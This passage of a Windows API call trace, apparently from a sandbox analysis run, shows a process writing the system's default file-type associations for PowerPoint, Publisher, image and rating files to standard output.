	[0056.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="piffile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="piffile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18
	[0056.818] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x11, lpOverlapped=0x0) returned 1
	[0056.818] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.818] GetFileType (hFile=0x5c) returned 0x3
	[0056.818] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="pjpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pjpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 126
	[0056.818] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7d, lpOverlapped=0x0) returned 1
	[0056.819] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.819] GetFileType (hFile=0x5c) returned 0x3
	[0056.819] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="pngfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pngfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 124
	[0056.819] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7b, lpOverlapped=0x0) returned 1
	[0056.819] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.819] GetFileType (hFile=0x5c) returned 0x3
	[0056.819] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Addin.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Addin.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 99
	[0056.819] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x62, lpOverlapped=0x0) returned 1
	[0056.820] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.820] GetFileType (hFile=0x5c) returned 0x3
	[0056.820] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Addin.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Addin.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 89
	[0056.820] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x58, lpOverlapped=0x0) returned 1
	[0056.820] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.820] GetFileType (hFile=0x5c) returned 0x3
	[0056.820] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.OpenDocumentPresentation.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.OpenDocumentPresentation.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 118
	[0056.820] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x75, lpOverlapped=0x0) returned 1
	[0056.821] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.821] GetFileType (hFile=0x5c) returned 0x3
	[0056.821] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Show.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Show.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 98
	[0056.821] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x61, lpOverlapped=0x0) returned 1
	[0056.821] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.821] GetFileType (hFile=0x5c) returned 0x3
	[0056.821] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Show.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Show.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97
	[0056.821] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x60, lpOverlapped=0x0) returned 1
	[0056.822] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.822] GetFileType (hFile=0x5c) returned 0x3
	[0056.822] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.ShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.ShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 110
	[0056.822] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x6d, lpOverlapped=0x0) returned 1
	[0056.822] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.822] GetFileType (hFile=0x5c) returned 0x3
	[0056.822] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Slide.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Slide.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97
	[0056.822] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x60, lpOverlapped=0x0) returned 1
	[0056.823] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.823] GetFileType (hFile=0x5c) returned 0x3
	[0056.823] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Slide.8=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Slide.8=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 96
	[0056.823] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5f, lpOverlapped=0x0) returned 1
	[0056.823] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.823] GetFileType (hFile=0x5c) returned 0x3
	[0056.823] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideMacroEnabled.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideMacroEnabled.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 109
	[0056.823] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x6c, lpOverlapped=0x0) returned 1
	[0056.824] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.824] GetFileType (hFile=0x5c) returned 0x3
	[0056.824] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideShow.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideShow.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 106
	[0056.824] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x69, lpOverlapped=0x0) returned 1
	[0056.824] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.824] GetFileType (hFile=0x5c) returned 0x3
	[0056.824] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideShow.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideShow.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 105
	[0056.824] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x68, lpOverlapped=0x0) returned 1
	[0056.825] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.825] GetFileType (hFile=0x5c) returned 0x3
	[0056.825] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 118
	[0056.825] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x75, lpOverlapped=0x0) returned 1
	[0056.825] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.825] GetFileType (hFile=0x5c) returned 0x3
	[0056.825] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Template.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Template.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 102
	[0056.825] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x65, lpOverlapped=0x0) returned 1
	[0056.826] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.826] GetFileType (hFile=0x5c) returned 0x3
	[0056.826] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 101
	[0056.826] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x64, lpOverlapped=0x0) returned 1
	[0056.826] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.826] GetFileType (hFile=0x5c) returned 0x3
	[0056.826] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.TemplateMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.TemplateMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 114
	[0056.827] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x71, lpOverlapped=0x0) returned 1
	[0056.827] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.827] GetFileType (hFile=0x5c) returned 0x3
	[0056.827] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 97
	[0056.827] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x60, lpOverlapped=0x0) returned 1
	[0056.827] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.827] GetFileType (hFile=0x5c) returned 0x3
	[0056.827] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Wizard.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Wizard.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 99
	[0056.828] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x62, lpOverlapped=0x0) returned 1
	[0056.828] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.828] GetFileType (hFile=0x5c) returned 0x3
	[0056.828] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="powerpointhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powerpointhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0056.828] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x53, lpOverlapped=0x0) returned 1
	[0056.828] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.828] GetFileType (hFile=0x5c) returned 0x3
	[0056.828] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="powerpointhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powerpointhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0056.828] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x57, lpOverlapped=0x0) returned 1
	[0056.829] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.829] GetFileType (hFile=0x5c) returned 0x3
	[0056.829] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="powerpointxmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powerpointxmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0056.829] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x52, lpOverlapped=0x0) returned 1
	[0056.829] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.829] GetFileType (hFile=0x5c) returned 0x3
	[0056.829] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="prffile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnPRF %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prffile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnPRF %1\r\n", lpUsedDefaultChar=0x0) returned 100
	[0056.829] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x63, lpOverlapped=0x0) returned 1
	[0056.830] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.830] GetFileType (hFile=0x5c) returned 0x3
	[0056.830] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0056.830] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x52, lpOverlapped=0x0) returned 1
	[0056.831] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.831] GetFileType (hFile=0x5c) returned 0x3
	[0056.831] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher.Document.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" /ou \"%u\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher.Document.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" /ou \"%u\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 98
	[0056.831] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x61, lpOverlapped=0x0) returned 1
	[0056.831] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.831] GetFileType (hFile=0x5c) returned 0x3
	[0056.831] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96
	[0056.832] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5f, lpOverlapped=0x0) returned 1
	[0056.832] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.832] GetFileType (hFile=0x5c) returned 0x3
	[0056.832] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ratfile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnRAT %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ratfile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnRAT %1\r\n", lpUsedDefaultChar=0x0) returned 100
	[0056.832] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x63, lpOverlapped=0x0) returned 1
